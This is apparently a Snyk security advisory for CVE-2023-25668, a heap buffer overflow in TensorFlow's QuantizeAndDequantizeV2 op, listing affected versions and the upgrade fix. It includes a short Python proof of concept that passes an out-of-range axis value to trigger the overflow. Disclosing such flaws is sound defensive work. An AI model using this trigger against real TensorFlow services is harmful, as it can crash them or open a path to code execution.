Heap-based Buffer Overflow Affecting tensorflow package, versions [,2.11.1)[2.12.0rc0,2.12.0)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.14% (52nd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-TENSORFLOW-3373020
  • published26 Mar 2023
  • disclosed26 Mar 2023
  • creditUnknown

Introduced: 26 Mar 2023

CVE-2023-25668  (opens in a new tab)
CWE-122  (opens in a new tab)

How to fix?

Upgrade tensorflow to version 2.11.1, 2.12.0 or higher.

Overview

tensorflow is a machine learning framework.

Affected versions of this package are vulnerable to Heap-based Buffer Overflow. Attackers can access heap memory which is not in the control of user, leading to a crash or remote code execution. The fix will be included in TensorFlow version 2.12.0 and will also cherrypick this commit on TensorFlow version 2.11.1.

PoC

import tensorflow as tf
@tf.function
def test():
    tf.raw_ops.QuantizeAndDequantizeV2(input=[2.5],
                                       input_min=[1.0],
                                       input_max=[10.0],
                                       signed_input=True,
                                       num_bits=1,
                                       range_given=True,
                                       round_mode='HALF_TO_EVEN',
                                       narrow_range=True,
                                       axis=0x7fffffff)
test()

References

CVSS Scores

version 3.1